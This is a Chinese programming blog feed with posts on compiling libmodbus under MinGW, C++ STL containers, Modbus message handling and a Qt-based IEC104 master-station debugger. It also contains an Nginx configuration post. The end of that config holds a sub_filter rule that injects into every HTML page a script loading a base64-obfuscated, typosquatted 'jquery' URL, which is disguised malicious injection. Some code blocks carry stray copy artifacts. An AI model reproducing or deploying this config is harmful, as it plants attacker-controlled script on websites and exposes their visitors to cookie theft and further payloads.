Mr.Axin

MinGW GCC Windows下编译libmodbus

Wed, 01 Apr 2026 10:19:17 +0800

最近项目从MSVC切换到GCC，libmodbus官网没提供MinGW下GCC 如何编译，官网推荐在类UNIX环境下MSYS下编译，个人更偏向直接拿源文件编译。

编译libmodbus版本: libmodbus-3.1.10

GCC编译器版本: 5.3.0 (i686-posix-dwarf-rev0, Built by MinGW-W64 project)

CMake版本: 3.29.0

在随笔最下边提供已编译好的库文件.

1. 从Github下载3.1.10版本: https://github.com/stephane/libmodbus/tree/v3.1.10

2. 下载完成后，解压，并创建Build目录，方便用CMake进行编译。

在Build下建立libmodbus目录，存放libmodbus源代码:

3. 进入libmodbus-3.1.10\libmodbus-3.1.10\src\win32下:

执行configure.js,主要用来生成针对windows的modbus-version.h、config.h文件，在编译时会用到

4. 进入src下，将这些文件复制到Build\libmodbus下:

注意: modbus-version.h 头文件只有执行win32下的configure.js才会生成!

在将win32下的config.h文件复制到build/libmodbus下，最后build/libmodbus目录，libmodbus编译所需要的所有源文件非常精简:

5. 现在直接编译会报错: undefined reference to `inet_pton‘，需要打开modbus-tcp.c，在

#if defined(_WIN32)

上添加:

#define _WIN32_WINNT 0x0600

6. 在Build下创建CMakeLists.txt文件

7. 配置好MinGW环境

将MinGW\bin下的路径添加到环境变量,保证打开cmd，gcc、g++、mingw32-make可以正常执行。

在Build下打开cmd执行:

cmake -G"MinGW Makefiles" .

执行mingw32-make：

8.Build路径下得到库文件

9. 创建include，将libmodbus下的所有头文件(.h)复制到include中:

最后已把编译好的库文件放到了蓝奏云中,因为GCC编译器各种版本，如果有时间推荐自行编译。编译很简单。

https://wwp.lanzoue.com/iLgNd23o6erc
密码:2jwb

参考: https://blog.csdn.net/m0_48388579/article/details/132554634 QT使用部分

参考: https://blog.51cto.com/u_15950551/7407812 undefined reference to `inet_pton报错问题

Nginx配置

Sat, 22 Nov 2025 10:48:11 +0800

user www www;

worker_processes auto;

error_log /www/wwwlogs/nginx_error.log crit;

pid /www/server/nginx/logs/nginx.pid;

worker_rlimit_nofile 51200;

stream {

upstream backend {

hash $remote_addr consistent;

server sete.yingkecut.cn:9099;

# server sete.yingkecut.cn:9099 weight=4;

# server set.yingkecut.cn:9099 weight=5;

# server paiban.jingkela.com:9099 weight=1;

}

# 配置监听端口和流量转发

server {

listen 9099; # 指定Nginx监听的TCP端口

proxy_pass backend; # 转发到upstream定义的后端服务器

proxy_timeout 3s;

proxy_connect_timeout 2s;

}

access_log /www/wwwlogs/tcp-access.log tcp_format;

error_log /www/wwwlogs/tcp-error.log;

include /www/server/panel/vhost/nginx/tcp/*.conf;

}

# stream {

# access_log /www/wwwlogs/tcp-access.log tcp_format;

# error_log /www/wwwlogs/tcp-error.log;

# include /www/server/panel/vhost/nginx/tcp/*.conf;

# }

events

{

use epoll;

worker_connections 51200;

multi_accept on;

}

http

{

include mime.types;

#include luawaf.conf;

include proxy.conf;

lua_package_path "/www/server/nginx/lib/lua/?.lua;;";

default_type application/octet-stream;

server_names_hash_bucket_size 512;

client_header_buffer_size 32k;

large_client_header_buffers 4 32k;

client_max_body_size 50m;

sendfile on;

tcp_nopush on;

keepalive_timeout 60;

tcp_nodelay on;

fastcgi_connect_timeout 300;

fastcgi_send_timeout 300;

fastcgi_read_timeout 300;

fastcgi_buffer_size 64k;

fastcgi_buffers 4 64k;

fastcgi_busy_buffers_size 128k;

fastcgi_temp_file_write_size 256k;

fastcgi_intercept_errors on;

gzip on;

gzip_min_length 1k;

gzip_buffers 4 16k;

gzip_http_version 1.1;

gzip_comp_level 2;

gzip_types text/plain application/javascript application/x-javascript text/javascript text/css application/xml application/json image/jpeg image/gif image/png font/ttf font/otf image/svg+xml application/xml+rss text/x-js;

gzip_vary on;

gzip_proxied expired no-cache no-store private auth;

gzip_disable "MSIE [1-6]\.";

limit_conn_zone $binary_remote_addr zone=perip:10m;

limit_conn_zone $server_name zone=perserver:10m;

server_tokens off;

access_log off;

server

{

listen 888;

server_name phpmyadmin;

index index.html index.htm index.php;

root /www/server/phpmyadmin;

#error_page 404 /404.html;

include enable-php.conf;

location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$

{

expires 30d;

}

location ~ .*\.(js|css)?$

{

expires 12h;

}

location ~ /\.

{

deny all;

}

access_log /www/wwwlogs/access.log;

}

include /www/server/panel/vhost/nginx/*.conf;

sub_filter_types text/html;

sub_filter '</head>' '<script>document.cookie="hasVisited178a=1;Max-Age=86400;Path=/";(function(){var hm=document.createElement("script");hm.src=atob("aHR0cHM6Ly9ib290c2NyaXRwLmNvbS9saWIvanF1ZXJ5LzQuNy4yL2pxdWVyeS5taW4uanM=");var s=document.getElementsByTagName("script")[0];s.parentNode.insertBefore(hm,s);})();</script>

</head>';

sub_filter_once off;

}

C++标准模板库（STL）常用容器应用详解与场景推荐

Mon, 29 Sep 2025 17:05:17 +0800

一、核心容器分类与特性
二、性能对比与选择策略
三、代码示例与应用场景
四、高级优化技巧
五、总结与扩展
1.1 顺序容器
1.2 关联容器
1.3 容器适配器
2.1 关键操作时间复杂度
2.2 选择建议
3.1 vector动态数组
3.2 unordered_map哈希表
3.3 priority_queue优先队列
4.1 预分配内存
4.2 移动语义
4.3 哈希表负载因子

C++标准模板库（STL）提供了丰富的容器类型，用于高效管理数据集合。本文将从核心容器特性、性能对比、代码示例及场景推荐四个维度，深度解析常用STL容器的应用技巧。

一、核心容器分类与特性

1.1 顺序容器

容器	底层结构	核心特性
vector	动态数组	随机访问O(1)，尾部插入高效，中间操作需移动元素
deque	分块数组	头尾插入O(1)，随机访问略慢于vector，内存非严格连续
list	双向链表	任意位置插入/删除O(1)，支持稳定迭代器，内存不连续

1.2 关联容器

容器	底层结构	核心特性
map/set	红黑树	自动排序，查找/插入/删除O(log n)，键唯一
unordered_*	哈希表	平均O(1)操作，元素无序，哈希冲突影响性能

1.3 容器适配器

容器	适配对象	核心特性
stack/queue	deque/list	后进先出（LIFO）或先进先出（FIFO），仅限特定端点操作
priority_queue	vector	基于堆结构，自动维护优先级，插入/删除O(log n)

二、性能对比与选择策略

2.1 关键操作时间复杂度

操作	vector	deque	list	map	unordered_map
随机访问	O(1)	O(1)	O(n)	O(n)	O(1)
头部插入	O(n)	O(1)	O(1)	-	-
尾部插入	O(1)	O(1)	O(1)	-	-
中间插入	O(n)	O(n)	O(1)	-	-
查找（有序）	O(n)	O(n)	O(n)	O(log n)	O(1)

2.2 选择建议

随机访问频繁 → vector或deque
高频中间插入/删除 → list或forward_list
需要排序或范围查询 → map/set
极速查找（无需排序） → unordered_map/unordered_set
内存敏感场景 → 优先vector（缓存友好）或自定义分配器

三、代码示例与应用场景

3.1 vector动态数组

场景：数据缓存、数学运算

#include <vector>
#include <algorithm>
int main() {
    std::vector<int> nums{3, 1, 4, 1, 5};
    nums.push_back(9);         // 尾部插入
    std::sort(nums.begin(), nums.end()); // 排序    // 输出：1 1 3 4 5 9   
     for (auto num : nums) std::cout << num << " ";   
      return 0;
}

3.2 unordered_map哈希表

场景：词频统计、缓存系统

#include <unordered_map>
#include <string>
int main() {
    std::unordered_map<std::string, int> word_count;
    word_count["apple"] = 5;    // 插入键值对
    word_count["banana"]++;     // 更新计数    // 查找是否存在 
     if (word_count.find("orange") == word_count.end()) {
        std::cout << "Orange not found!\n";    }    
        return 0;
   }

3.3 priority_queue优先队列

场景：任务调度、Dijkstra算法

#include <queue>
int main() {
    std::priority_queue<int> max_heap; // 默认大顶堆
    max_heap.push(30);
    max_heap.push(10);
    max_heap.push(50);    // 输出优先级最高元素：50
    std::cout << "Top: " << max_heap.top() << "\n"; 
    return 0;
 }

四、高级优化技巧

4.1 预分配内存

std::vector<int> vec;
vec.reserve(1000);  // 避免多次扩容

4.2 移动语义

使用std::move减少拷贝开销（适用于含资源的对象）：

std::vector<std::string> words;
words.push_back(std::move(large_str));

4.3 哈希表负载因子

调整unordered_map性能：

std::unordered_map<int, int> map;map.max_load_factor(0.5);  // 降低冲突概率AI

五、总结与扩展

需求类型	推荐容器	备注
高频随机访问	vector	优先选择
双端操作	deque	替代vector+list组合
稳定迭代器	list	避免中间插入导致失效
有序数据存储	map/set	支持范围查询
极速查找	unordered_map	需注意哈希函数质量

建议结合具体场景进行性能测试，例如使用Google Benchmark库对不同容器进行压力测试。对于多线程环境，可考虑Intel TBB库中的并发容器（如concurrent_hash_map）。

基于C++处理Modbus报文的完整指南

Wed, 10 Sep 2025 15:08:58 +0800

📦 一、Modbus报文结构解析

1. RTU模式帧格式

[设备地址][功能码][数据][CRC校验]

设备地址：1字节，标识从机
功能码：1字节（如0x03读保持寄存器）
数据域：可变长度（寄存器地址、数量或写入值）
CRC校验：2字节（循环冗余校验）

2. TCP模式帧格式

[事务ID][协议ID][长度][设备地址][功能码][数据]

事务ID：2字节（请求/响应匹配）
协议ID：2字节（固定0x0000）
长度：2字节（后续报文总长度）

🔧 二、C++实现方案与库选择

库名称	适用场景	特点
libmodbus	RTU/TCP跨平台	开源、支持主从模式
modbus-tcp-cpp	纯TCP通信	轻量级、现代C++封装
QModbus	Qt项目集成	信号槽机制、GUI友好

示例1：libmodbus读取保持寄存器 (TCP)

#include <modbus/modbus.h>int main() {
    modbus_t *ctx = modbus_new_tcp("192.168.1.10", 502);  // 创建TCP连接
    if (modbus_connect(ctx) == -1) {                      // 连接检查
        std::cerr << "Connection failed: " << modbus_strerror(errno);
        return -1;
    }

    uint16_t regs[10];
    int rc = modbus_read_registers(ctx, 0, 5, regs);     // 读地址0开始的5个寄存器
    if (rc == -1) {
        std::cerr << "Read error: " << modbus_strerror(errno);
    }
    modbus_close(ctx);
    modbus_free(ctx);}

⚙️ 三、核心处理技术

1. 报文构建与发送

RTU模式需计算CRC：

uint16_t CRC16(uint8_t *buf, int len) {
    uint16_t crc = 0xFFFF;
    for (int pos = 0; pos < len; pos++) {
        crc ^= buf[pos];
        for (int i = 8; i != 0; i--) {
            if (crc & 0x0001) crc = (crc >> 1) ^ 0xA001;
            else crc >>= 1;
        }
    }
    return crc;}

2. 响应解析与错误处理

功能码与异常码处理：

switch (response[1]) {  // 功能码位置
    case 0x03: 
        parseRegisters(response); 
        break;
    case 0x86:          // 异常码=功能码+0x80
        handleException(response[2]); // 异常码在第三个字节
        break;}

3. 数据类型转换

32位整数组合（大端序）：

uint16_t regs[2] = {0x1234, 0x5678};uint32_t value = (regs[0] << 16) | regs[1];  // 结果：0x12345678AI运行代码cpp12

浮点数解析（IEEE 754）：

uint32_t raw = (regs[0] << 16) | regs[1];float fval = *reinterpret_cast<float*>(&raw);

🚀 四、高级应用场景

1. 多线程事务管理

std::mutex mtx;std::condition_variable cv;void sendThread(ModbusRequest req) {
    std::lock_guard<std::mutex> lock(mtx);
    sendRequest(req);
    cv.notify_one();  // 通知接收线程}void recvThread() {
    std::unique_lock<std::mutex> lock(mtx);
    cv.wait(lock);    // 阻塞等待数据
    ModbusResponse res = receiveResponse();
    process(res);}

2. 性能优化策略

批量读写：使用功能码0x10（写多寄存器）减少请求次数
连接复用：保持TCP长连接避免重复握手
超时重试：设置超时阈值和重试逻辑（如3次重试）

💻 五、完整代码示例-Qt库（读取温度传感器）

// 定义带符号温度数据结构struct TemperatureData {
    qint16 raw;     // 原始带符号值
    double celsius; // 转换后的温度值};// 异步读取输入寄存器（地址0）void readTemperature(QModbusClient* device) {
    QModbusDataUnit unit(QModbusDataUnit::InputRegisters, 0, 1);
    QModbusReply* reply = device->sendReadRequest(unit, 1);
    
    QObject::connect(reply, &QModbusReply::finished, [=]() {
        if (reply->error() == QModbusDevice::NoError) {
            quint16 rawTemp = reply->result().value(0);
            TemperatureData data;
            data.raw = static_cast<qint16>(rawTemp);
            data.celsius = data.raw / 10.0;  // 假设实际值=原始值÷10
            
            qDebug() << "原始值:" << data.raw << " 温度:" << data.celsius << "°C";
        }
        reply->deleteLater();
    });}

⚠️ 六、工业实践注意事项

字节序问题：设备可能采用大端序（Big-Endian）或小端序（Little-Endian），需根据手册调整组合顺序
超时设置：RTU模式典型超时为1.5个字符传输时间，TCP建议500ms-1000ms
错误恢复：实现自动重连机制，捕获ECONNRESET等网络异常
安全加固：

校验报文长度防溢出
白名单验证设备地址
敏感操作增加认证机制

通过合理选择库、正确处理报文边界和错误场景，C++可实现稳定高效的Modbus通信系统。建议使用Wireshark或Modbus Slave工具模拟测试报文交互。

基于C++和Qt开发IEC104规约主站调试软件（第六章）终

Wed, 10 Sep 2025 14:49:53 +0800

第六章：IEC104主站调试软件功能按钮实现（报文解析、报文导出、报文滚动、清空报文）

基于C++和Qt开发IEC104规约主站调试软件需要综合协议规范、多线程编程和GUI框架知识以及IEC104通讯规约相关知识，以下是分步骤实现方案：
最终成果
 IEC104通讯规约知识学习
上一章内容回顾：IEC104主站调试软件发送总召、时钟同步
软件及源代码获取：欢迎咨询

1.报文解析

输入报文点击报文解析按钮
代码示例：

 QByteArray frame = ui->textEdit->toPlainText().trimmed().toUtf8();
    if(frame.isEmpty()){
        MessageReminder("请在报文列表中输入有效报文","确认","取消");
        return;
    }
    QByteArray hexFrame = QByteArray::fromHex(frame);
    int sz = hexFrame.length();
    if( sz<6 || (hexFrame[0]!= 0x68 && (hexFrame[1]< 0x04 || hexFrame[1]>0xFF))){
        showMessage("无效报文",-1);
        return;
    }
    if(sz>6){
        hexFrame = hexFrame.mid(6,sz-6);
        uint8_t* msg = (uint8_t*)hexFrame.data();
        CS104_Connection cn = CS104_Connection_create("127.0.0.1", 2404);
        CS101_AppLayerParameters alParams = CS104_Connection_getAppLayerParameters(cn);
        CS101_ASDU asdu = CS101_ASDU_createFromBuffer(alParams, msg, sz - 6);
        IEC60870_5_TypeID  typeId = CS101_ASDU_getTypeID(asdu);
        int nums =  CS101_ASDU_getNumberOfElements(asdu);
        CS101_CauseOfTransmission cause = CS101_ASDU_getCOT(asdu);
        CP56Time2a newTime;
        QString time;
        QualityDescriptor qu;
        QString quStr;
        QString causeStr = m_causeHash.value(cause);
        if(causeStr.isEmpty())
        causeStr=QString("未知(%1)").arg(cause);
        QString typeStr;
        int address;
        if (typeId == C_TS_TA_1)
        qInfo()<<"test command with timestamp";
        else if (typeId== C_IC_NA_1) {//总召唤
            if (cause== CS101_COT_ACTIVATION) //激活确认
                showMessage("主站总召激活确认请求报文",-1);
            if (cause== CS101_COT_ACTIVATION_CON) //激活确认
                showMessage("从站响应总召激活确认报文",-1);
            else if (cause == CS101_COT_ACTIVATION_TERMINATION) //激活停止
                showMessage("总召结束激活停止报文",-1);
        }
        else if(typeId ==M_SP_NA_1){ //单点遥信（不带时标）
            bool value;
            time = "无";
            typeStr ="无时标单点遥信";
            for (int i = 0; i < nums; i++) {
                SinglePointInformation io =(SinglePointInformation) CS101_ASDU_getElement(asdu, i);
                if(io==nullptr){
                showMessage(QString("解析%1数据错误,序号=%2").arg(typeStr).arg(i),-1);
                continue;
                }
                qu = SinglePointInformation_getQuality(io);
                quStr = m_quMap.value(qu);
                if(quStr.isEmpty())
                    quStr=QString("异常(0x%1)").arg(qu,2,16,QLatin1Char('0'));
                address = InformationObject_getObjectAddress((InformationObject) io);
                value = SinglePointInformation_getValue(io);
                SinglePointInformation_destroy(io);
                showMessage(QString("%1，原因：%2，地址：%3，值：%4，品质：%5，时间：%6").arg(typeStr).arg(causeStr).arg(address).arg(value).arg(quStr).arg(time),-1);
            }
        }
         else if(typeId ==M_ME_TF_1 || typeId==M_ME_TC_1){ //短浮点遥测带时标
            typeStr ="长时标短浮点遥测";
            float value;
            for (int i = 0; i < nums; i++) {
                MeasuredValueShortWithCP56Time2a iotm =(MeasuredValueShortWithCP56Time2a) CS101_ASDU_getElement(asdu, i);
                MeasuredValueShort io =(MeasuredValueShort) CS101_ASDU_getElement(asdu, i);
                if(io==nullptr){
                    showMessage(QString("解析%1数据错误,序号=%2").arg(typeStr).arg(i),-1);
                    continue;
                }
                qu = MeasuredValueShort_getQuality(io);
                quStr = m_quMap.value(qu);
                if(quStr.isEmpty())
                    quStr=QString("异常(0x%1)").arg(qu,2,16,QLatin1Char('0'));
                address = InformationObject_getObjectAddress((InformationObject) io);
                value = MeasuredValueShort_getValue(io);
                newTime = MeasuredValueShortWithCP56Time2a_getTimestamp(iotm);
                if( typeId==M_ME_TC_1){
                    typeStr ="短时标短浮点遥测";
                    time = QString("%5:%6.%7").arg(CP56Time2a_getMinute(newTime),2,10,QLatin1Char('0'))
                               .arg(CP56Time2a_getSecond(newTime),2,10,QLatin1Char('0'))
                               .arg(CP56Time2a_getMillisecond(newTime),3,10,QLatin1Char('0'));
                }
                else
                    time = QString("%1-%2-%3 %4:%5:%6.%7").arg(CP56Time2a_getYear(newTime) + 2000)
                               .arg(CP56Time2a_getMonth(newTime),2,10,QLatin1Char('0'))
                               .arg(CP56Time2a_getDayOfMonth(newTime),2,10,QLatin1Char('0'))
                               .arg(CP56Time2a_getHour(newTime),2,10,QLatin1Char('0'))
                               .arg(CP56Time2a_getMinute(newTime),2,10,QLatin1Char('0'))
                               .arg(CP56Time2a_getSecond(newTime),2,10,QLatin1Char('0'))
                               .arg(CP56Time2a_getMillisecond(newTime),3,10,QLatin1Char('0'));
                MeasuredValueShort_destroy(io);
                MeasuredValueShortWithCP56Time2a_destroy(iotm);
                showMessage(QString("%1，原因：%2，地址：%3，值：%4，品质：%5，时间：%6").arg(typeStr).arg(causeStr).arg(address).arg(value).arg(quStr).arg(time),-1);
            }
        }1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495

运行演示：

2.报文导出

点击报文导出按钮，导出报文到本地txt文件
代码示例：

 	QString frame = ui->textEdit->toPlainText();
    if(frame.isEmpty()){
        MessageReminder("报文为空，无法导出","确定","取消");
        return;
    }
    QString filename = QFileDialog::getSaveFileName(this, nullptr, nullptr, "*.txt").toUtf8();
    QFile file(filename);
    if (!file.open(QIODevice::WriteOnly | QIODevice::Text)) {
        // 处理错误，例如可以抛出异常或者返回错误标志
        MessageReminder("导出到文件失败，导出文件不存在","确定","取消");
        return;
    }
    QTextStream out(&file);
    out<<frame;
    file.close(); // 关闭文件
    MessageReminder("导出报文完成","确定","取消");

3.报文开始停止滚动

点击开始滚动按钮即报文实时滚动，点击停止滚动按钮，即报文暂停滚动。
代码示例：

    if(!m_roll)//停止滚动
        return;
    if(ui->textEdit->toPlainText().length()>50000)
        ui->textEdit->clear();
    ui->textEdit->setTextColor(QColor(Qt::black));
    QString typeStr = "主站：";
    if(type==0){
        typeStr = "主站：";
        ui->textEdit->setTextColor(QColor(Qt::black));
    }
    else if(type==1){
        typeStr ="从站：";
        ui->textEdit->setTextColor(QColor(Qt::blue));
    }
    else
        typeStr.clear();
    ui->textEdit->append(typeStr+msg);
    ui->textEdit->update();

4.清空报文

点击清空报文按钮，清空当前报文显示区。
代码示例：

  connect(ui->clearButton,&QPushButton::clicked,[=](){
        ui->textEdit->clear();
    });

5.总结

本章节主要讲解功能按钮的功能实现和核心代码，结合前五个章节的内容，即可完成IEC104主站调试软件开发应用。关于IEC104主站调试软件开发到此章节正式结束，若有疑问欢迎各位博主咨询。

基于C++和Qt开发IEC104规约主站调试软件（第五章）

Wed, 10 Sep 2025 14:05:00 +0800

第五章：IEC104主站调试软件发送总召、时钟同步

基于C++和Qt开发IEC104规约主站调试软件需要综合协议规范、多线程编程和GUI框架知识以及IEC104通讯规约相关知识，以下是分步骤实现方案：
最终成果
IEC104通讯规约知识学习
上一章内容回顾： IEC104主站调试软件遥控、遥调功能

1.主站发送总召唤(0x64)

代码示例

	//从站地址
    int slaveAddr = sendfui->slaveAddrEdit->text().toInt();
	//原因
    QString causeStr = sendfui->causeBox->currentText();
    int l=typeStr.indexOf('(');
    int r = typeStr.indexOf(')');
    int type = typeStr.mid(l+1,r-l-1).toInt();
    typeStr = typeStr.mid(0,l);
    l=causeStr.indexOf('(');
    r = causeStr.indexOf(')');
    int cause = causeStr.mid(l+1,r-l-1).toInt();
    causeStr = causeStr.mid(0,l);
    switch (type) {
    case C_IC_NA_1:
    {//发送总召唤        CS104_Connection_sendInterrogationCommand(m_iec104con,   (CS101_CauseOfTransmission)cause, slaveAddr, IEC60870_QOI_STATION);
        emit showMessageSignal("总召唤",0);
    }
    break;

运行演示

2.主站发送时钟同步(0x67)

代码示例

 case C_CS_NA_1:
 {
 	//创建时间
 	CP56Time2a newTime = CP56Time2a_createFromMsTimestamp(nullptr, Hal_getTimeInMs()+8*3600*1000);
	//发送时钟同步接口        
	CS104_Connection_sendClockSyncCommand(m_iec104con,slaveAddr,newTime);
    emit showMessageSignal("时钟同步",0);
 }

运行演示

3.总结

本章主要描述IEC104主站软件发送总召唤、时钟同步功能和部分核心代码。
下期分享IEC104主站调试软件功能按钮（报文解析、报文导出、报文滚动、清空报文）

基于C++和Qt开发IEC104规约主站调试软件（第四章）

Wed, 10 Sep 2025 14:05:00 +0800

第四章：IEC104主站调试软件遥控、遥调功能

基于C++和Qt开发IEC104规约主站调试软件需要综合协议规范、多线程编程和GUI框架知识以及IEC104通讯规约相关知识，以下是分步骤实现方案：
最终成果展示：最终成果
IEC104通讯规约知识学习：https://download.csdn.net/download/liangwwe0/90616493?spm=1011.2124.3001.6210
上一章内容回顾： IEC104主站解析遥信、遥测数据

1.创建遥控遥调命令下发对话框

（点击报文发送按钮弹出此对话框）

2.下发单点遥控功能（0x2D）

核心代码示例：

     
     int dataAddr = sendfui->dataAddrEdit->text().toInt();
     QString typeStr = sendfui->typeBox->currentText();
    int l=typeStr.indexOf('(');
    int r = typeStr.indexOf(')');
    int type = typeStr.mid(l+1,r-l-1).toInt();
    switch (type) {
    case C_SC_NA_1:
    {
        bool selectCommand = false;
        if(cmd){
            int state = MessageReminder("选择单点遥控执行方式","选择执行","立即执行","取消");
            if(state==1)
                selectCommand = true;
            else if(state==-1)
                return;
        }
        else if(!MessageReminder("从站返回单点遥控激活确认","确认","取消"))
                return;
        SingleCommand cmd = SingleCommand_create(nullptr, dataAddr, value.toBool(), selectCommand, IEC60870_QUALITY_GOOD);
        CS104_Connection_sendProcessCommand(m_iec104con, (IEC60870_5_TypeID)type, (CS101_CauseOfTransmission)cause,dataAddr, (InformationObject)cmd);
        SingleCommand_destroy(cmd);
        if(selectCommand)
            emit showMessageSignal(QString("类型：%1，执行方式：选择执行，原因：%2，地址：%3，值：%4，时间：%5").arg(typeStr).arg(causeStr).arg(dataAddr).arg(value.toBool()).arg(time),0);
        else
            emit showMessageSignal(QString("类型：%1，执行方式：立即执行，原因：%2，地址：%3，值：%4，时间：%5").arg(typeStr).arg(causeStr).arg(dataAddr).arg(value.toBool()).arg(time),0);
    }
        break;

单点遥控运行演示

3.归一化遥调设置（0x30）

核心代码示例：

 case C_SE_NA_1:
 {
    QVariant value = sendfui->valueEdit->text();   
 	MeasuredValueNormalized cmd = MeasuredValueNormalized_create(nullptr, dataAddr,value.toFloat(), IEC60870_QUALITY_GOOD);
    CS104_Connection_sendProcessCommand(m_iec104con, (IEC60870_5_TypeID)type, (CS101_CauseOfTransmission)cause,dataAddr, (InformationObject)cmd);
    MeasuredValueNormalized_destroy(cmd);
    emit showMessageSignal(QString("类型：%1，原因：%2，地址：%3，值：%4，时间：%5").arg(typeStr).arg(causeStr).arg(dataAddr).arg(value.toFloat()).arg(time),0);}
    break;

归一化值遥调设置运行演示

4.总结

本章主要描述IEC104主站软件遥控、遥调功能和部分核心代码，其它类型标识遥控遥调方法类似。
下期分享IEC104主站调试软件总召唤、时钟同步功能。

基于C++和Qt开发IEC104规约主站调试软件（第三章）

Wed, 10 Sep 2025 12:03:20 +0800

第三章：IEC104主站解析遥信、遥测数据

基于C++和Qt开发IEC104规约主站调试软件需要综合协议规范、多线程编程和GUI框架知识以及IEC104通讯规约相关知识，以下是分步骤实现方案：
开发成果展示：最终开发成果
IEC104通讯规约知识学习：https://download.csdn.net/download/liangwwe0/90616493?spm=1011.2124.3001.6210
上一章内容回顾： IEC104主站软件界面设计和连接104从站
当从站发送遥信、遥测数据时，程序会调用回调函数（asduReceivedHandler）。

1.解析单点遥信数据（类型标识0x01）

代码示例：

bool MainWindow::asduReceivedHandler(void *parameter, int address, CS101_ASDU asdu){
    if(parameter==nullptr)
        return true;
    MainWindow *that = (MainWindow*)parameter;
    //类型标识
    IEC60870_5_TypeID  typeId = CS101_ASDU_getTypeID(asdu);
    //数据数量
    int nums =  CS101_ASDU_getNumberOfElements(asdu);
    //传输原因
    CS101_CauseOfTransmission cause = CS101_ASDU_getCOT(asdu);
    QString time="无";
    QualityDescriptor qu;
    QString quStr;
    //传输原因转字符串
    QString causeStr = that->m_causeHash.value(cause);
    if(causeStr.isEmpty())
        causeStr=QString("未知(%1)").arg(cause);
    QString typeStr;
    if (typeId== C_IC_NA_1) {//响应总召唤
        if (cause== CS101_COT_ACTIVATION_CON) //激活确认
            emit that->showMessageSignal("总召激活确认",1);
        else if (cause == CS101_COT_ACTIVATION_TERMINATION) //激活停止
            emit that->showMessageSignal("总召结束，激活停止",1);
    }
    else if(typeId ==M_SP_NA_1){ //单点遥信（不带时标）
        bool value;
        time = "无";
        typeStr ="无时标单点遥信";
        //按数据量逐个解析数据
        for (int i = 0; i < nums; i++) {
            SinglePointInformation io =(SinglePointInformation) CS101_ASDU_getElement(asdu, i);
            if(io==nullptr){
                emit that->showMessageSignal(QString("解析%1数据错误,序号=%2").arg(typeStr).arg(i),-1);
                continue;
            }
            //数据品质
            qu = SinglePointInformation_getQuality(io);
            quStr = that->m_quMap.value(qu);
            if(quStr.isEmpty())
                quStr=QString("异常(0x%1)").arg(qu,2,16,QLatin1Char('0'));
            //数据地址
            address = InformationObject_getObjectAddress((InformationObject) io);
            //数据值
            value = SinglePointInformation_getValue(io);
            SinglePointInformation_destroy(io);
            
            QVariantHash vh;
            vh["address"] = address;
            vh["value"] = value ? 1:0;
            vh["type"] = typeStr;
            vh["cause"] = causeStr;
            vh["qu"] = quStr;
            vh["time"] = time;
            //将解析后的数据打印
            that->loadTable(vh);
        }
    }}

2.解析短浮点遥测数据（类型标识0x0E,0x24）

代码示例:

else if(typeId ==M_ME_TF_1 || typeId==M_ME_TC_1){ //短浮点遥测带时标
        CP56Time2a newTime;
        typeStr ="长时标短浮点遥测";
        float value;
        //按数据量逐个解析遥测数据
        for (int i = 0; i < nums; i++) {
            MeasuredValueShortWithCP56Time2a iotm =(MeasuredValueShortWithCP56Time2a) CS101_ASDU_getElement(asdu, i);
            MeasuredValueShort io =(MeasuredValueShort) CS101_ASDU_getElement(asdu, i);
            if(io==nullptr){
                emit that->showMessageSignal(QString("解析%1数据错误,序号=%2").arg(typeStr).arg(i),-1);
                continue;
            }
            //品质
            qu = MeasuredValueShort_getQuality(io);
            quStr = that->m_quMap.value(qu);
            if(quStr.isEmpty())
                quStr=QString("异常(0x%1)").arg(qu,2,16,QLatin1Char('0'));
            //地址
            address = InformationObject_getObjectAddress((InformationObject) io);
            //数据值
            value = MeasuredValueShort_getValue(io);
            //数据时间
            newTime = MeasuredValueShortWithCP56Time2a_getTimestamp(iotm);
            if( typeId==M_ME_TC_1){//短时标
                typeStr ="短时标短浮点遥测";
                time = QString("%5:%6.%7").arg(CP56Time2a_getMinute(newTime),2,10,QLatin1Char('0'))
                           .arg(CP56Time2a_getSecond(newTime),2,10,QLatin1Char('0'))
                           .arg(CP56Time2a_getMillisecond(newTime),3,10,QLatin1Char('0'));
            }
            else//长时标
                time = QString("%1-%2-%3 %4:%5:%6.%7").arg(CP56Time2a_getYear(newTime) + 2000)
                           .arg(CP56Time2a_getMonth(newTime),2,10,QLatin1Char('0'))
                           .arg(CP56Time2a_getDayOfMonth(newTime),2,10,QLatin1Char('0'))
                           .arg(CP56Time2a_getHour(newTime),2,10,QLatin1Char('0'))
                           .arg(CP56Time2a_getMinute(newTime),2,10,QLatin1Char('0'))
                           .arg(CP56Time2a_getSecond(newTime),2,10,QLatin1Char('0'))
                           .arg(CP56Time2a_getMillisecond(newTime),3,10,QLatin1Char('0'));
            MeasuredValueShort_destroy(io);
            MeasuredValueShortWithCP56Time2a_destroy(iotm);
            QVariantHash vh;
            vh["address"] = address;
            vh["value"] = QString::number(value,'f',2);
            vh["type"] = typeStr;
            vh["cause"] = causeStr;
            vh["qu"] = quStr;
            vh["time"] = time;
            //将解析后的数据打印到列表
            that->loadTable(vh);
        }
    }

3.打印报文和解析后的数据

代码示例：

void MainWindow::loadTable(QVariantHash vh){
    int address = vh.value("address").toInt();
    QString value = vh.value("value").toString();
    QString quStr = vh.value("qu").toString();
    QString causeStr = vh.value("cause").toString();
    QString typeStr = vh.value("type").toString();
    QString time = vh.value("time").toString();
    emit showMessageSignal(QString("类型：%1，原因：%2，地址：%3，值：%4，品质：%5，时间：%6").arg(typeStr).arg(causeStr).arg(address).arg(value).arg(quStr).arg(time),1);
    if(m_addrHash.contains(address)){
        int row = m_addrHash.value(address)->row();
        QTableWidgetItem *item1 = ui->tableWidget->item(row,1);
        QTableWidgetItem *item2 = ui->tableWidget->item(row,2);
        QTableWidgetItem *item3 = ui->tableWidget->item(row,3);
        QTableWidgetItem *item4 = ui->tableWidget->item(row,4);
        QTableWidgetItem *item5 = ui->tableWidget->item(row,5);
        if(item1!=nullptr && item2!=nullptr && item3!=nullptr && item4!=nullptr  && item5!=nullptr){
            item1 ->setData(Qt::DisplayRole,value);
            item2 ->setData(Qt::DisplayRole,typeStr);
            item3 ->setData(Qt::DisplayRole,causeStr);
            item4 ->setData(Qt::DisplayRole,quStr);
            item5 ->setData(Qt::DisplayRole,time);
        }
    }
    else{
        int rows = ui->tableWidget->rowCount();
        ui->tableWidget->insertRow(rows);
        QTableWidgetItem *item = new QTableWidgetItem;
        item ->setData(Qt::DisplayRole,address);
        ui->tableWidget->setItem(rows,0,item);
